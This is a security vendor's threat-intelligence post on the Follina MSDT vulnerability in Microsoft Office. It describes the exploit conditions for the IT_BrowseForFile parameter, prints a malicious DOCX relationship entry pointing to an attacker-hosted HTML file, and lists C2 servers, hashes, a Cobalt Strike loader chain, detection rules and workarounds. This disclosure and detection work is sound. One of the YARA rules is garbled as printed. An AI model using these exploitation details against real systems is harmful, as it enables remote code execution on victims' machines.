Blogpost

MSDT abused to achieve RCE on Microsoft Office

CTI Detection Vulnerability Zero-Day Threat & Detection Research Team June 1 2022 7 0 Read it later Remove 8 minutes reading

On May 27th a malicious Microsoft Office document was discovered by the NAO SEC security team and other threat hunters as MalwareByte researchers on VirusTotal. This DOCX document (MD5:52945af1def85b171870b31fa4782e52) has been crafted to load a specific remote HTML file by using the MSHTML engine. Once opened, the HTML file is using Javascript to replace its own URL by an URL containing the ms-msdt Protocol Scheme, pushing Microsoft Office to launch the Microsoft Support Diagnostic Tool utility (msdt.exe) with specific arguments, leading to the Remote Code Execution of an arbitrary Powershell payload. MSDT is a tool used to troubleshoot and collect diagnostic data for analysis by support professionals to resolve a problem. It's not the first time that the Microsoft Support Diagnostic Tool is abused in order to obtain arbitrary code execution on Windows. In the past, it has been abused to execute specific remote executables via XSS vulnerabilities on Electron apps or as a Living of the Land (LOL) Windows binary. However, the past exploitation required at least a "one-click" user interaction or a second XML file present on the computer to be achieved. In that specific case, no interaction is required by the user and MSDT directly executes the Powershell Script embedded in the IT_BrowseForFile parameter. As identified by John Hammond from the cybersecurity firm Huntress, the content of theIT_BrowseForFile parameter needs to fill these conditions to be executed:

- At a minimum, two directory traversals (../) are required in the IT_BrowseForFile argument
- Code wrapped within $() is executed via PowerShell, but spaces would break it
- ".exe" must be the last trailing string present at the end of the IT_BrowseForFile argument

At this time, we don't know why Microsoft Support Diagnostic Tool allows arbitrary PowerShell execution inside the IT_BrowseForFile parameter. However, it is likely that researchers will find other "vulnerable" Microsoft utilities allowing such PowerShell execution in their parameters arguments in the coming weeks. It is important to note that this vulnerability (CVE-2022-30190, also dubbed Follina by some security researchers) can be exploited even without opening the file by crafting a specific Rich Text Format (RTF) document and making the user preview it in the Windows Explorer Preview Pane. Several researchers pointed out that even if the docx exploitation chain seems to not work anymore, the RTF one is still vulnerable.

A vulnerability with chinese roots

The discovered document is not the first DOCX seen ITW exploiting this vulnerability. SEKOIA found that several intrusion sets were aware of it prior to its discovery by NAO SEC and the first wave of exploitation seems to have been done by Chinese APT intrusion sets. In the documents, the inclusion of the External resource in the initial exploit is finished by an exclamation mark likely to force the execution by the MSHTML engine without warning.

```
<Relationship Id="rId996"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relation
ships/oleObject"
Target="hxxps://www.xmlformats[.]com/office/word/2022/wordprocessing
Drawing/RDF842l.html!" TargetMode="External"/>
```

Figure 1. Malicious reference to an external HTML file

By looking at the files containing this specific string on VirusTotal at the end of the Target Attribute URL, we have been able to find five other documents, exploiting this vulnerability since the beginning of March 2022. Here is the list of the documents, their description and the URL where the malicious HTML payload was hosted:

- 05-2022-0438.doc (MD5:52945af1def85b171870b31fa4782e52), created on the 2022-05-25, is a blank document, possibly a repuposing of the intitial exploit. This document loads an HTML file hosted on the attackers-owned domain www.xmlformats[.]com. It is worth to note that, SEKOIA have been able to retreive another domain used by the same attacker and dubbed miniformats[.]com.
- Exposing_Nitesh_Pariyar_Liar!!!.doc (MD5:d313002804198b5af1e0b537799be348), created on the 2022-03-25, is a document which seems to target an individual working for the Nepalese NCELL company which is the first private mobile service provider operating in Nepal and the second

largest telecommunications company, after Nepal Telecom. This document loads a an HTML file hosted on the likely compromised Exchange server at the following URL: hxxps://exchange.oufca[.]com.au/aspnet_client/poc.html

- Exposing_Sonish_Liar!!!.doc (MD5:529c8f3d6d02ba996357aba535f688fc), created on the 2022-04-06 — is a similar document but exposing another nepalese individual. This document request another HTML file hosted on the same server: hxxps://exchange.oufca[.]com.au/owa/auth/15.1.2375/themes/p3azx.html

- приглашение на интервью.doc (MD5:f531a7c270d43656e34d578c8e71bc39), created on the 2022-04-12 — is a document which seems to target specific individuals by asking for of an Interview on the Sputnik Russian radio broadcast related to Ukraine. This document loads an HTML file hosted on an VPS server the following URL: hxxps://www.sputnikradio[.]net/radio/news/3134.html

- РЭТ-ЮМ-3044 от 12.04.2022.doc (MD5:6bcee92ab337c9130f27143cc7be5a55), created on the 2022-04-07, seems to target the CEO of the Concern Radio-Electronic Technologies. According to wikipedia CRET is producing fifth-generation Rostec R-168-5UN-2 encrypted Military-Transceiver which is used by the Russian forces in Ukraine. The document loads another HTML file hosted on thesputnikradio[.]net server at the following URL: hxxps://www.sputnikradio[.]net/radio/news/1134.html

- CSAFP'S_GUIDANCE_RE_NATIONAL_AND_LOCAL_ELECTION_2022_NLE.docx (MD5: 8ee8fe6f0226e346e224cd72c728157c), created on the 2022-03-09, is the first document seen ITW which exploits the vulnerability. This document impersonates the Philippines armed forces in a letter destined to several armed forces divisions. It loads the HTML file hosted on a VPS at the following URL: http://141.98.215[.]99/color.html

It is interesting to note that there is no infrastructure connection between these documents. Therefore, it seems that the same exploit has been used or repurposed by different threat actors before its discovery by the security researchers.

Unfortunately for us, only one URL was active at the time of this writing. This small opportunity allowed us to grab a cabinet file executed on the victim's workstation after the exploitation. This cabinet file (test.cab — MD5:75b614b50ff24d567d1b136340507b82) contains a binary is a compiled PyInstaller which contains a file named "loader.py".

This loader — which seems to have Chinese origins according to the comments left by the developer — downloads an encoded shellcode from the server 160.20.145[.]111. Then, it performs useless RSA encryption and decryption operations on it and executes it in a new thread. The retrieved shellcode is a Cobalt Strike beacon which communicates with 103.51.140[.]188 by using jQuery malleable profile.

Both of the retrieved IP addresses are already known as malicious in SEKOIA.IO Intelligence Center. 160.20.145[.]111 to be a PlugX C2 and 103.51.140[.]188 to be a CobaltStrike C2. As of today, no attribution to a specific Chinese intrusion set or activity cluster can be done with these technical indicators.

Vulnerability detection

The detection of the CVE-2022-30190 exploitation can be done through analysis of process execution. msdt.exe executed with the IT_BrowseForFile argument containing $(is a sign of the vulnerability exploitation attempt.

Workarounds

As the current version of Office is still vulnerable with RTF documents, and Microsoft did not publish any patch yet, we advise to apply remediations. Different remediations, deployable by GPO, seems to be possible in the wait of the Official patch from Microsoft:

- Remove the ms-msdt URI schema registry key in registry HKEY_CLASSES_ROOT
- Disable "Troubleshooting wizards" in registry HKEY_LOCAL_MACHINE: SOFTWARE\Policies\Microsoft\Windows\ScriptedDiagnostics

Mars, a red-hot information stealer

IOCs

Malicious documents hashs 8ee8fe6f0226e346e224cd72c728157c 6bcee92ab337c9130f27143cc7be5a55 f531a7c270d43656e34d578c8e71bc39 529c8f3d6d02ba996357aba535f688fc d313002804198b5af1e0b537799be348 52945af1def85b171870b31fa4782e52

Loaders hashs 414ac723fe6fdbd5cb1e703b0c225b50 8e4d8cbbc7374574f40c31f02f225053 75b614b50ff24d567d1b136340507b82

VPS servers 103.51.140[.]188 160.20.145[.]111 141.98.215[.]99 sputnikradio[.]net xmlformats[.]com miniformats[.]com onedrivo[.]com

YARA rules

```
rule exploit_CVE202230190_html_file_hunting { meta: id ="70b5ddc4-443d-4bc7-b047-29ed2247f364" version =
"1.0" description = "Detects the HTML file used for to exploit" cve = "CVE-2022-30190" source = "SEKOIA"
ceation_date = "2022-05-30" modification_date = "2022-05-30" classification = "TLP:GREEN" strings: $script
= "= 4000 and $script and $ms_msdt in (@href..@href+20) } rule exploit_CVE202230190_Documentxmlrels_hunting
{ meta: id = "b3d06d37-fa80-4515-9aaf-1168c515bd8f" version = "1.0" description = "Detects
document.xml.rels used by the DOCXs" warning = "Hunting rule, can produce FPs" cve = "CVE-2022-30190"
source = "SEKOIA" creation_date = "2022-05-31" modification_date = "2022-05-31" classification =
"TLP:GREEN" strings: $s = { 21 22 20 54 61 72 67 65 74 4D 6F 64 65 3D 22 45 78 74 65 72 6E 61 6C 22 2F 3E
} condition: uint32be(0) == 0x3C3F786D and #s == 1 }
```

SIGMA rule

```
version: 2.0 uuid: e3fe6d7d-7609-4641-9c52-62ccf578d35a rule: Msdt File Browse Process Execution
description: >- Detects when the Compatability Troubleshooter is abused. detection: selection:
process.name: 'msdt.exe' process.command_line|contains|all: - 'IT_BrowseForFile' - '$(' condition:
selection alert_category: intrusions alert_type: system-compromise alert_severity: 80 attack: - T1203
data_sources: - Process command-line parameters - Process monitoring - Windows event logs
```

TTPs (ATT&CK)

- Exploitation for Client Execution (T1203)
- Command and Scripting Interpreter: PowerShell (T1059.001)
- Phishing (T1566)

Chat with our team!

Would you like to know more about our solutions? Do you want to discover our XDR and CTI products? Do you have a cybersecurity project in your organization? Make an appointment and meet us!

Contact us

References

- [Twitter] NaoSec Tweet related to the malicious document
- [Microsoft] Microsoft advisory
- [Benjamin-altpeter] MSDT abuse via XSS on Electron Apps
- [LOLBAS] MSDT abuse to execute arbitrary code
- [Twitter] RTF execution chain still vulnerable